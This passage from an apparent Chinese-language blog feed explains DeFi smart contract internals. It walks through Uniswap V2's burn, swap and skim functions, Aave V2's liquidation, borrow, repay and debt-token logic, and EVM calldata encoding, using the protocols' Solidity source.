}</code></pre><p>首先通过getReserves()获取两种代币的缓存余额(防止攻击者操控价格预言机,计算协议手续费),然后计算用户转入的token数amount0与amount1,再计算是否需要收取协议手续费,然后计算流动性(如果是第一次添加,则要锁定MINIMUM_LIQUIDITY的LP)。最后铸造LpToken,更新储备。</p><h4 id="burn"><a href="#burn" class="headerlink" title="burn"></a>burn</h4><p>用于移除流动性</p><pre class=" language-solidity"><code class="language-solidity"> function burn(address to) external lock returns (uint amount0, uint amount1) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings address _token0 = token0; // gas savings address _token1 = token1; // gas savings uint balance0 = IERC20(_token0).balanceOf(address(this)); uint balance1 = IERC20(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Burn(msg.sender, amount0, amount1, to); }</code></pre><p>基本与mint函数类似,就不赘述了。</p><h4 id=""><a href="#" class="headerlink" title=""></a></h4><p>用于两种代币的交换</p><pre class=" language-solidity"><code class="language-solidity"> function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT'); (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY'); uint balance0; uint balance1; { // scope for _token{0,1}, avoids stack too deep errors address _token0 = token0; address _token1 = token1; require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); } uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT'); { // scope for reserve{0,1}Adjusted, avoids stack too deep errors uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3)); uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3)); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); } _update(balance0, balance1, _reserve0, _reserve1); emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); }</code></pre><p>首先经历一系列检查后,swap主要通过amountOut的大小来判断用户需要的代币,这样是为了兼容闪电贷功能。</p><p>由于在swap方法最后会检查余额(扣掉手续费后)符合k恒等式约束,因此合约可以先将用户希望获得的代币转出,;如果使用闪电贷,即用户之前并没有向合约转入用于交易的代币,则需要在自定义的uniswapV2Call方法中将借出的代币归还。</p><h4 id="skim"><a href="#skim" class="headerlink" title="skim"></a>skim</h4><p>用于清理合约中多余的Token。无原因是多余的代币都会导致池子里的储备量和实际余额不一致,从而影响价格和流动性。</p><pre class=" language-solidity"><code class="language-solidity"> function skim(address to) external lock { address _token0 = token0; // gas savings address _token1 = token1; // gas savings _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0)); _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1)); }</code></pre>]]></content>
</entry>
<entry>
<title>Aave V2分析(三)</title>
<link href="/2024/03/24/Aave-V2%E5%88%86%E6%9E%90(%E4%B8%89)/"/>
<url>/2024/03/24/Aave-V2%E5%88%86%E6%9E%90(%E4%B8%89)/</url>
<content type="html"><![CDATA[<h1 id="Aave-V2分析-三"><a href="#Aave-V2分析-三" class="headerlink" title="Aave V2分析(三)"></a>Aave V2分析(三)</h1><h2 id="Liquidation"><a href="#Liquidation" class="headerlink" title="Liquidation"></a>Liquidation</h2><p>在defi中,当债务人的抵押资产代币可能不足以抵扣债务时,任何人都可以参与清算。清算的过程是通过repay部分债务,获得部分抵押资产。</p><pre class=" language-solidity"><code class="language-solidity"> function liquidationCall( address collateralAsset, address debtAsset, address user, uint256 debtToCover, bool receiveAToken ) external override whenNotPaused { address collateralManager = _addressesProvider.getLendingPoolCollateralManager(); //solium-disable-next-line (bool success, bytes memory result) = collateralManager.delegatecall( abi.encodeWithSignature( 'liquidationCall(address,address,address,uint256,bool)', collateralAsset, debtAsset, user, debtToCover, receiveAToken ) ); require(success, Errors.LP_LIQUIDATION_CALL_FAILED); (uint256 returnCode, string memory returnMessage) = abi.decode(result, (uint256, string)); require(returnCode == 0, string(abi.encodePacked(returnMessage))); }</code></pre><p>这是清算的入口函数,在函数中首先拿到质押品管理者的地址,然后调用管理者的liquidationCall函数进行实际的清算处理。接下来让我们分析它的具体执行过程。</p><pre class=" language-solidity"><code class="language-solidity"> function liquidationCall( address collateralAsset, address debtAsset, address user, uint256 debtToCover, bool receiveAToken ) external override returns (uint256, string memory) { // ...... }</code></pre><p>首先拿到清算债务要用到的数据,包括质押品储备池,债务储备池,用户配置,健康因子。</p><pre class=" language-solidity"><code class="language-solidity"> DataTypes.ReserveData storage collateralReserve = _reserves[collateralAsset]; DataTypes.ReserveData storage debtReserve = _reserves[debtAsset]; DataTypes.UserConfigurationMap storage userConfig = _usersConfig[user]; LiquidationCallLocalVars memory vars; (, , , , vars.healthFactor) = GenericLogic.calculateUserAccountData( user, _reserves, userConfig, _reservesList, _reservesCount, _addressesProvider.getPriceOracle() );</code></pre><p>然后获取被清算用户的债务信息,包括固定债务和流动债务。</p><pre class=" language-solidity"><code class="language-solidity">(vars.userStableDebt, vars.userVariableDebt) = Helpers.getUserCurrentDebt(user, debtReserve);</code></pre><p>然后验证清算是否合格,包括用户的Health factor是否低于清算所需阈值,用户的债务是否为0,用户的资产是否设置为可抵押</p><pre class=" language-solidity"><code class="language-solidity"> (vars.errorCode, vars.errorMsg) = ValidationLogic.validateLiquidationCall( collateralReserve, debtReserve, userConfig, vars.healthFactor, vars.userStableDebt, vars.userVariableDebt );</code></pre><p>然后获得被清算人可清算的债务的上限。</p><pre class=" language-solidity"><code class="language-solidity"> vars.collateralAtoken = IAToken(collateralReserve.aTokenAddress); vars.userCollateralBalance = vars.collateralAtoken.balanceOf(user); vars.maxLiquidatableDebt = vars.userStableDebt.add(vars.userVariableDebt).percentMul( LIQUIDATION_CLOSE_FACTOR_PERCENT ); vars.actualDebtToLiquidate = debtToCover > vars.maxLiquidatableDebt ? vars.maxLiquidatableDebt : debtToCover;</code></pre><p>然后计算实际可清算债务。(因为被清算人的质押品可能无法完全覆盖债务)</p><pre class=" language-solidity"><code class="language-solidity"> ( vars.maxCollateralToLiquidate, vars.debtAmountNeeded ) = _calculateAvailableCollateralToLiquidate( collateralReserve, debtReserve, collateralAsset, debtAsset, vars.actualDebtToLiquidate, vars.userCollateralBalance ); if (vars.debtAmountNeeded < vars.actualDebtToLiquidate) { vars.actualDebtToLiquidate = vars.debtAmountNeeded; }</code></pre><p>函数_calculateAvailableCollateralToLiquidate逻辑很简单,就是根据以下公式换算代币数量:</p><p>debt token price * debt amount * liqudation bonus= collateral token price* collateral token amount</p><p>然后判断清算者是否想要抵押的代币,如果清算者想要抵押的代币而非aToken,那么AAVE检查整个抵押代币池是否足够应对清算要求。</p><pre class=" language-solidity"><code class="language-solidity"> if (!receiveAToken) { uint256 currentAvailableCollateral = IERC20(collateralAsset).balanceOf(address(vars.collateralAtoken)); if (currentAvailableCollateral < vars.maxCollateralToLiquidate) { return ( uint256(Errors.CollateralManagerErrors.NOT_ENOUGH_LIQUIDITY), Errors.LPCM_NOT_ENOUGH_LIQUIDITY_TO_LIQUIDATE ); } }</code></pre><p>然后更新复利索引,因为清算改变了债务数量,也因此改变了浮动利率。</p><pre class=" language-solidity"><code class="language-solidity">debtReserve.updateState();</code></pre><p>先清算浮动利率债务,再清算固定利率债务,直到完成本次清算所需数量。</p><pre class=" language-solidity"><code class="language-solidity"> if (vars.userVariableDebt >= vars.actualDebtToLiquidate) { IVariableDebtToken(debtReserve.variableDebtTokenAddress).burn( user, vars.actualDebtToLiquidate, debtReserve.variableBorrowIndex ); } else { // If the user doesn't have variable debt, no need to try to burn variable debt tokens if (vars.userVariableDebt > 0) { IVariableDebtToken(debtReserve.variableDebtTokenAddress).burn( user, vars.userVariableDebt, debtReserve.variableBorrowIndex ); } IStableDebtToken(debtReserve.stableDebtTokenAddress).burn( user, vars.actualDebtToLiquidate.sub(vars.userVariableDebt) ); }</code></pre><p>然后更新利率。</p><pre class=" language-solidity"><code class="language-solidity"> debtReserve.updateInterestRates( debtAsset, debtReserve.aTokenAddress, vars.actualDebtToLiquidate, 0 );</code></pre><p>然后区分是发送aToken还是Underlyaing asset给清算者。</p><pre class=" language-solidity"><code class="language-solidity"> if (receiveAToken) { vars.liquidatorPreviousATokenBalance = IERC20(vars.collateralAtoken).balanceOf(msg.sender); vars.collateralAtoken.transferOnLiquidation(user, msg.sender, vars.maxCollateralToLiquidate); if (vars.liquidatorPreviousATokenBalance == 0) { DataTypes.UserConfigurationMap storage liquidatorConfig = _usersConfig[msg.sender]; liquidatorConfig.setUsingAsCollateral(collateralReserve.id, true); emit ReserveUsedAsCollateralEnabled(collateralAsset, msg.sender); } } else { collateralReserve.updateState(); collateralReserve.updateInterestRates( collateralAsset, address(vars.collateralAtoken), 0, vars.maxCollateralToLiquidate ); vars.collateralAtoken.burn( user, msg.sender, vars.maxCollateralToLiquidate, collateralReserve.liquidityIndex ); }</code></pre><p>清算者将偿还的代币转给AAVE</p><pre class=" language-solidity"><code class="language-solidity"> IERC20(debtAsset).safeTransferFrom( msg.sender, debtReserve.aTokenAddress, vars.actualDebtToLiquidate );</code></pre>]]></content>
</entry>
<entry>
<title>Aave V2分析(二)</title>
<link href="/2024/03/21/Aave%20V2%E5%88%86%E6%9E%90(%E4%BA%8C)/"/>
<url>/2024/03/21/Aave%20V2%E5%88%86%E6%9E%90(%E4%BA%8C)/</url>
<content type="html"><![CDATA[<h1 id="Aave-V2分析-二"><a href="#Aave-V2分析-二" class="headerlink" title="Aave V2分析(二)"></a>Aave V2分析(二)</h1><p>书接上文,本篇我们从代码分析了Deposit,Withdraw的逻辑</p><h2 id="Borrow"><a href="#Borrow" class="headerlink" title="Borrow"></a>Borrow</h2><pre class=" language-solidity"><code class="language-solidity"> function borrow( address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf ) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; _executeBorrow( ExecuteBorrowParams( asset, msg.sender, onBehalfOf, amount, interestRateMode, reserve.aTokenAddress, referralCode, true ) ); }</code></pre><p>不同于deposit与withdraw将逻辑全放在里面,borrow进行了包装,将逻辑放在_executeBorrow函数中。</p><p>接下来,我们逐步分析_executeBorrow函数。</p><p>在函数中首先获取基本的借贷信息,包括代币资产储备池,借贷人的配置信息。</p><pre class=" language-solidity"><code class="language-solidity"> DataTypes.ReserveData storage reserve = _reserves[vars.asset]; DataTypes.UserConfigurationMap storage userConfig = _usersConfig[vars.onBehalfOf];</code></pre><p>然后把借贷的代币按照市场价格转换成ETH的数量</p><pre class=" language-solidity"><code class="language-solidity"> address oracle = _addressesProvider.getPriceOracle(); uint256 amountInETH = IPriceOracleGetter(oracle).getAssetPrice(vars.asset).mul(vars.amount).div( 10**reserve.configuration.getDecimals() );</code></pre><p>然后验证借贷是否合规</p><pre class=" language-solidity"><code class="language-solidity"> ValidationLogic.validateBorrow( vars.asset, reserve, vars.onBehalfOf, vars.amount, amountInETH, vars.interestRateMode, _maxStableRateBorrowSizePercent, _reserves, userConfig, _reservesList, _reservesCount, oracle );</code></pre><p>然后更新复利序列</p><pre class=" language-solidity"><code class="language-solidity"> reserve.updateState(); uint256 currentStableRate = 0; bool isFirstBorrowing = false;</code></pre><p>然后执行借款,并根据是固定利率借款还是浮动利率借款铸造债务代币debtToken</p><pre class=" language-solidity"><code class="language-solidity"> if (DataTypes.InterestRateMode(vars.interestRateMode) == DataTypes.InterestRateMode.STABLE) { currentStableRate = reserve.currentStableBorrowRate; isFirstBorrowing = IStableDebtToken(reserve.stableDebtTokenAddress).mint( vars.user, vars.onBehalfOf, vars.amount, currentStableRate ); } else { isFirstBorrowing = IVariableDebtToken(reserve.variableDebtTokenAddress).mint( vars.user, vars.onBehalfOf, vars.amount, reserve.variableBorrowIndex ); }</code></pre><p>然后此时更新利率</p><pre class=" language-solidity"><code class="language-solidity"> reserve.updateInterestRates( vars.asset, vars.aTokenAddress, 0, vars.releaseUnderlying ? vars.amount : 0 );</code></pre><p>最后转移借贷的资产给用户</p><pre class=" language-solidity"><code class="language-solidity"> if (vars.releaseUnderlying) { IAToken(vars.aTokenAddress).transferUnderlyingTo(vars.user, vars.amount); }</code></pre><h3 id="Debt-Token"><a href="#Debt-Token" class="headerlink" title="Debt Token"></a>Debt Token</h3><p>Debt Token分固定利率的debt token和浮动利率的debt token</p><h4 id="固定利率debt-token"><a href="#固定利率debt-token" class="headerlink" title="固定利率debt token"></a>固定利率debt token</h4><p>首先要明白的固定利率并非不会发生变化,只是不会随着市场波动而已。</p><p>其实固定利率每个block都会发生变化,因此计算用户利息时使用的是用户的加权平均利率。</p><p>更新固定利率债务步骤如下:</p><p>1 用户打算借入amount1 数目的代币</p><p>2 AAVE获取当前账户中的debt token数目</p><p>3 按照复利计算,最近一次贷款时间到现在累计的本息</p><p>4 通过mint的方式,将(amount1+累计的本息)个debt token 转移到用户账户</p><p>5 更新用户的最新贷款时间为当前block.timestamp</p><pre class=" language-solidity"><code class="language-solidity"> function mint( address user, address onBehalfOf, uint256 amount, uint256 rate ) external override onlyLendingPool returns (bool) { MintLocalVars memory vars; if (user != onBehalfOf) { _decreaseBorrowAllowance(onBehalfOf, user, amount); } (, uint256 currentBalance, uint256 balanceIncrease) = _calculateBalanceIncrease(onBehalfOf); vars.previousSupply = totalSupply(); vars.currentAvgStableRate = _avgStableRate; vars.nextSupply = _totalSupply = vars.previousSupply.add(amount); vars.amountInRay = amount.wadToRay(); vars.newStableRate = _usersStableRate[onBehalfOf] .rayMul(currentBalance.wadToRay()) .add(vars.amountInRay.rayMul(rate)) .rayDiv(currentBalance.add(amount).wadToRay()); require(vars.newStableRate <= type(uint128).max, Errors.SDT_STABLE_DEBT_OVERFLOW); _usersStableRate[onBehalfOf] = vars.newStableRate; //solium-disable-next-line _totalSupplyTimestamp = _timestamps[onBehalfOf] = uint40(block.timestamp); // Calculates the updated average stable rate vars.currentAvgStableRate = _avgStableRate = vars .currentAvgStableRate .rayMul(vars.previousSupply.wadToRay()) .add(rate.rayMul(vars.amountInRay)) .rayDiv(vars.nextSupply.wadToRay()); _mint(onBehalfOf, amount.add(balanceIncrease), vars.previousSupply); emit Transfer(address(0), onBehalfOf, amount); emit Mint( user, onBehalfOf, amount, currentBalance, balanceIncrease, vars.newStableRate, vars.currentAvgStableRate, vars.nextSupply ); return currentBalance == 0; }</code></pre><p>依然是先定义了一个数据结构,保存mint所需的数据</p><pre class=" language-solidity"><code class="language-solidity"> struct MintLocalVars { uint256 previousSupply; uint256 nextSupply; uint256 amountInRay; uint256 newStableRate; uint256 currentAvgStableRate; }</code></pre><p>这个出现了两个利率,一个是newStableRate,另一个是currentAvgStableRate,会在后面解释。然后获得贷款人余额信息。</p><pre class=" language-solidity"><code class="language-solidity"> (, uint256 currentBalance, uint256 balanceIncrease) = _calculateBalanceIncrease(onBehalfOf);</code></pre><p>这个函数返回了上一次交互的余额,当前余额和累计利息。然后再获取debt token总个数和平均固定利率。</p><pre><code> vars.previousSupply = totalSupply(); vars.currentAvgStableRate = _avgStableRate; vars.nextSupply = _totalSupply = vars.previousSupply.add(amount); vars.amountInRay = amount.wadToRay();</code></pre><p>然后计算用户的固定利率债务的加权成本</p><pre class=" language-solidity"><code class="language-solidity"> vars.newStableRate = _usersStableRate[onBehalfOf] .rayMul(currentBalance.wadToRay()) .add(vars.amountInRay.rayMul(rate)) .rayDiv(currentBalance.add(amount).wadToRay());</code></pre><p>请注意,这里计算的是针对单个用户的固定利率债务利率。然后更新用户的平均固定利率,接下来,整个储备池的平均固定利率也需要被更新</p><pre class=" language-solidity"><code class="language-solidity"> _usersStableRate[onBehalfOf] = vars.newStableRate; //solium-disable-next-line _totalSupplyTimestamp = _timestamps[onBehalfOf] = uint40(block.timestamp); // Calculates the updated average stable rate vars.currentAvgStableRate = _avgStableRate = vars .currentAvgStableRate .rayMul(vars.previousSupply.wadToRay()) .add(rate.rayMul(vars.amountInRay)) .rayDiv(vars.nextSupply.wadToRay()); </code></pre><p>最后铸造debt token,mint操作被包装到了_mint函数中。</p><pre class=" language-solidity"><code class="language-solidity"> function _mint( address account, uint256 amount, uint256 oldTotalSupply ) internal { uint256 oldAccountBalance = _balances[account]; _balances[account] = oldAccountBalance.add(amount); if (address(_incentivesController) != address(0)) { _incentivesController.handleAction(account, oldTotalSupply, oldAccountBalance); } }</code></pre><p>就是做一个简单的加法而已。</p><h4 id="浮动利率debt-token"><a href="#浮动利率debt-token" class="headerlink" title="浮动利率debt token"></a>浮动利率debt token</h4><p>大致与铸造固定利率Debt toekn的反法一致。铸造可变利率Debt token的不同之处,在于用户debt token需要根据动态的利率进行调整,计息。</p><pre class=" language-solidity"><code class="language-solidity"> function mint( address user, address onBehalfOf, uint256 amount, uint256 index ) external override onlyLendingPool returns (bool) { if (user != onBehalfOf) { _decreaseBorrowAllowance(onBehalfOf, user, amount); } uint256 previousBalance = super.balanceOf(onBehalfOf); uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_MINT_AMOUNT); _mint(onBehalfOf, amountScaled); emit Transfer(address(0), onBehalfOf, amount); emit Mint(user, onBehalfOf, amount, index); return previousBalance == 0; }</code></pre><p>首先获取用户账户上的debt token数量,然后使用浮动利率复利因子贴现铸造的amount。至于为什么这样算,原理与deposit类似,就不赘述了。</p><h2 id="Repay"><a href="#Repay" class="headerlink" title="Repay"></a>Repay</h2><pre class=" language-solidity"><code class="language-solidity"> function repay( address asset, uint256 amount, uint256 rateMode, address onBehalfOf ) external override whenNotPaused returns (uint256) { DataTypes.ReserveData storage reserve = _reserves[asset]; (uint256 stableDebt, uint256 variableDebt) = Helpers.getUserCurrentDebt(onBehalfOf, reserve); DataTypes.InterestRateMode interestRateMode = DataTypes.InterestRateMode(rateMode); ValidationLogic.validateRepay( reserve, amount, interestRateMode, onBehalfOf, stableDebt, variableDebt ); uint256 paybackAmount = interestRateMode == DataTypes.InterestRateMode.STABLE ? stableDebt : variableDebt; if (amount < paybackAmount) { paybackAmount = amount; } reserve.updateState(); if (interestRateMode == DataTypes.InterestRateMode.STABLE) { IStableDebtToken(reserve.stableDebtTokenAddress).burn(onBehalfOf, paybackAmount); } else { IVariableDebtToken(reserve.variableDebtTokenAddress).burn( onBehalfOf, paybackAmount, reserve.variableBorrowIndex ); } address aToken = reserve.aTokenAddress; reserve.updateInterestRates(asset, aToken, paybackAmount, 0); if (stableDebt.add(variableDebt).sub(paybackAmount) == 0) { _usersConfig[onBehalfOf].setBorrowing(reserve.id, false); } IERC20(asset).safeTransferFrom(msg.sender, aToken, paybackAmount); IAToken(aToken).handleRepayment(msg.sender, paybackAmount); emit Repay(asset, onBehalfOf, msg.sender, paybackAmount); return paybackAmount; }</code></pre><p>首先获取债务信息和利率信息,然后验证操作是否合规。</p><pre class=" language-solidity"><code class="language-solidity"> DataTypes.ReserveData storage reserve = _reserves[asset]; (uint256 stableDebt, uint256 variableDebt) = Helpers.getUserCurrentDebt(onBehalfOf, reserve); DataTypes.InterestRateMode interestRateMode = DataTypes.InterestRateMode(rateMode); ValidationLogic.validateRepay( reserve, amount, interestRateMode, onBehalfOf, stableDebt, variableDebt );</code></pre><p>然后根据债务总数,确定实际可还数量。</p><pre class=" language-solidity"><code class="language-solidity"> uint256 paybackAmount = interestRateMode == DataTypes.InterestRateMode.STABLE ? stableDebt : variableDebt; if (amount < paybackAmount) { paybackAmount = amount; }</code></pre><p>然后更新复利序列索引。</p><pre class=" language-solidity"><code class="language-solidity">reserve.updateState();</code></pre><p>再根据债务属性,调用不同的接口销毁债务代币。</p><pre class=" language-solidity"><code class="language-solidity"> if (interestRateMode == DataTypes.InterestRateMode.STABLE) { IStableDebtToken(reserve.stableDebtTokenAddress).burn(onBehalfOf, paybackAmount); } else { IVariableDebtToken(reserve.variableDebtTokenAddress).burn( onBehalfOf, paybackAmount, reserve.variableBorrowIndex ); }</code></pre><p>更新利率,检查剩余债务。</p><pre class=" language-solidity"><code class="language-solidity"> address aToken = reserve.aTokenAddress; reserve.updateInterestRates(asset, aToken, paybackAmount, 0);</code></pre><p>最后处理aToken。</p><pre class=" language-solidity"><code class="language-solidity"> IERC20(asset).safeTransferFrom(msg.sender, aToken, paybackAmount); IAToken(aToken).handleRepayment(msg.sender, paybackAmount);</code></pre><h3 id="销毁浮动债务"><a href="#销毁浮动债务" class="headerlink" title="销毁浮动债务"></a>销毁浮动债务</h3><p>由于引入了variableBorrowIndex 更新复利,所以销毁变得极其简单,只要从总额中扣除贴现后的amount即可。</p><pre class=" language-solidity"><code class="language-solidity"> function burn( address user, uint256 amount, uint256 index ) external override onlyLendingPool { uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_BURN_AMOUNT); _burn(user, amountScaled); emit Transfer(user, address(0), amount); emit Burn(user, amount, index); }</code></pre><h3 id="销毁固定债务"><a href="#销毁固定债务" class="headerlink" title="销毁固定债务"></a>销毁固定债务</h3><p>相较于浮动利率,销毁固定债务的流程就复杂的多。<br>首先获得包含了复利的debt token数currentBalance,以及上次更新到现在的利息增量balanceIncrease。</p><pre class=" language-solidity"><code class="language-solidity">(, uint256 currentBalance, uint256 balanceIncrease) = _calculateBalanceIncrease(user);</code></pre><p>然后定义一些需要的变量。</p><pre class=" language-solidity"><code class="language-solidity"> uint256 previousSupply = totalSupply(); uint256 newAvgStableRate = 0; uint256 nextSupply = 0; uint256 userStableRate = _usersStableRate[user];</code></pre><p>然后处理利率不一致导致的对账对不上的问题。</p><p>这里处理两种情况,第一个由于复利计算方式的微小差异,客户销毁的debt token数目大于等于现有的reserve supply数目。此时就设置 _totalSupply=0。第二个是按照用户的利率计算的debt token 利息大于整个储备池的debt token平均利息,则设置_totalSupply =0。</p><pre class=" language-solidity"><code class="language-solidity"> if (previousSupply <= amount) { _avgStableRate = 0; _totalSupply = 0; } else { nextSupply = _totalSupply = previousSupply.sub(amount); uint256 firstTerm = _avgStableRate.rayMul(previousSupply.wadToRay()); uint256 secondTerm = userStableRate.rayMul(amount.wadToRay()); if (secondTerm >= firstTerm) { newAvgStableRate = _avgStableRate = _totalSupply = 0; } else { newAvgStableRate = _avgStableRate = firstTerm.sub(secondTerm).rayDiv(nextSupply.wadToRay()); } }</code></pre><p>然后处理用户偿还的债务,清零并且校对用户的最新时间为当前block生成时间。</p><pre class=" language-solidity"><code class="language-solidity"> if (amount == currentBalance) { _usersStableRate[user] = 0; _timestamps[user] = 0; } else { _timestamps[user] = uint40(block.timestamp); } _totalSupplyTimestamp = uint40(block.timestamp);</code></pre><p>如果用户从上次交互到现在累计的债务复利已经超过了此次偿还的金额,那么优先抵扣这部分债务,再将剩余债务铸造token debt。否则直接从偿还金额中扣除债务复利后,再销毁剩余的代币。</p><pre class=" language-solidity"><code class="language-solidity"> if (balanceIncrease > amount) { uint256 amountToMint = balanceIncrease.sub(amount); _mint(user, amountToMint, previousSupply); emit Mint( user, user, amountToMint, currentBalance, balanceIncrease, userStableRate, newAvgStableRate, nextSupply ); } else { uint256 amountToBurn = amount.sub(balanceIncrease); _burn(user, amountToBurn, previousSupply); emit Burn(user, amountToBurn, currentBalance, balanceIncrease, newAvgStableRate, nextSupply); }</code></pre>]]></content>
</entry>
<entry>
<title>Calldata 解析</title>
<link href="/2024/03/17/Calldata-%E8%A7%A3%E6%9E%90/"/>
<url>/2024/03/17/Calldata-%E8%A7%A3%E6%9E%90/</url>
<content type="html"><![CDATA[<h1 id="Calldata-解析"><a href="#Calldata-解析" class="headerlink" title="Calldata 解析"></a>Calldata 解析</h1><h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h2><p>calldata是EVM中的一个特殊数据位置。它指的是在两个地址之间的任何消息调用交易中发送的原始十六进制字节。对于EVM来说,calldata中包含的任何数据都是由一个地址作为输入来执行调用。当调用一个合约时,calldata 是保存被调用函数的初始输入参数数据的位置。这是 “public”或 “external” 函数的参数存储的地方。calldata分为静态和动态两种类型。</p><h2 id="Calldata的特征"><a href="#Calldata的特征" class="headerlink" title="Calldata的特征"></a>Calldata的特征</h2><p>Calldata是一个可由字节编址的空间,类似于EVM的内存。在读取时,你可以一次加载32个字节。但是你无法写入,这是因为calldata是不可修改的。因此当从calldata中读取数值时,这些数值被复制到堆栈中。此外calldata的大小几乎是无限的。为什么说是几乎呢?这是因为calldata将被约束在区块 Gas limit 的限制下。但与内存的成本随着内存大小的增长而呈平方增长不同,在 calldata 中分配更多字节的成本总是线性的。(零字节需要 4 Gas,非零字节需要16 Gas)</p><h2 id="静态变量"><a href="#静态变量" class="headerlink" title="静态变量"></a>静态变量</h2><p>静态变量是以下类型的简单编码表示:uint , int, address, bool, bytes1 to bytes32, tuple。<br>例如,与以下合约进行交互</p><pre class=" language-solidity"><code class="language-solidity">pragma solidity 0.8.17;contract Example { function transfer(uint256 amount, address to) external;}</code></pre><p>入参</p><pre><code>amount: 1300655506address: 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45</code></pre><p>对其进行进行编码后得到calldata:0x000000000000000000000000000000000000000000000000000000004d866d9200000000000000000000000068b3465833fb72a70ecdf485e0e4c7bd8665fc45<br>在读取时,就一次32个字节来读。</p><pre><code>0x// amount000000000000000000000000000000000000000000000000000000004d866d92// to00000000000000000000000068b3465833fb72a70ecdf485e0e4c7bd8665fc45</code></pre><h2 id="动态变量"><a href="#动态变量" class="headerlink" title="动态变量"></a>动态变量</h2><p>动态变量是非固定大小的类型,包括bytes、string和动态数组<t>[],以及固定数组<t>[N]。<br>动态类型的结构:第一个32字节为偏移量,第二个32字节为长度,其余的是元素。<br>例如,对string “Hello World!” 的编码:</t></t></p><pre><code>0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000c48656c6c6f20576f726c64210000000000000000000000000000000000000000</code></pre><p>第一个32字节为0x20,为偏移量,因此我们从000000000000000000000000000000000000000000000020开始跳过32字节,在开始读取,读取的第2个32字节为0x0c为长度,在读取第3个(只读12个字节)为元素。</p>]]></content>
</entry>
<entry>
<title>Aave V2分析(一)</title>
<link href="/2024/03/08/Aave%20V2%E5%88%86%E6%9E%90(%E4%B8%80)/"/>
<url>/2024/03/08/Aave%20V2%E5%88%86%E6%9E%90(%E4%B8%80)/</url>
<content type="html"><![CDATA[<h1 id="Aave-V2分析-一"><a href="#Aave-V2分析-一" class="headerlink" title="Aave V2分析(一)"></a>Aave V2分析(一)</h1><h2 id="准备"><a href="#准备" class="headerlink" title="准备"></a>准备</h2><p><a href="https://app.aave.com/">aave 官网</a>(aave的官网十分注重用户的体验,提供了测试网去连接,感兴趣的可以去玩玩)</p><p><a href="https://github.com/aave/protocol-v2">aave 源码仓库</a></p><p><a href="https://docs.aave.com/developers/v/2.0">aave 文档</a></p><p><a href="https://github.com/aave/protocol-v2/blob/master/aave-v2-whitepaper.pdf">aave 白皮书</a></p><h2 id="LendingPool-sol"><a href="#LendingPool-sol" class="headerlink" title="LendingPool.sol"></a><a href="https://github.com/aave/protocol-v2/blob/master/contracts/protocol/lendingpool/LendingPool.sol">LendingPool.sol</a></h2><p>LendingPool合约是Aave这个借贷DAPP的基石,里面实现了一个借贷Dapp的五个基本操作:存款(Deposit), 取款(Withdrawal), 借贷(Borrow), 偿还(Repay) 和清算(Liquidation)。</p><h2 id="Deposit"><a href="#Deposit" class="headerlink" title="Deposit"></a>Deposit</h2><pre class=" language-solidity"><code class="language-solidity"> function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; ValidationLogic.validateDeposit(reserve, amount); address aToken = reserve.aTokenAddress; reserve.updateState(); reserve.updateInterestRates(asset, aToken, amount, 0); IERC20(asset).safeTransferFrom(msg.sender, aToken, amount); bool isFirstDeposit = IAToken(aToken).mint(onBehalfOf, amount, reserve.liquidityIndex); if (isFirstDeposit) { _usersConfig[onBehalfOf].setUsingAsCollateral(reserve.id, true); emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf); } emit Deposit(asset, msg.sender, onBehalfOf, amount, referralCode); }</code></pre><p>在deposit方法中首先获取了存入的资产合约的储备池对象,</p><pre class=" language-solidity"><code class="language-solidity">DataTypes.ReserveData storage reserve = _reserves[asset];</code></pre><p>然后验证储备池是否处于可用状态和存入金额大于0,</p><pre class=" 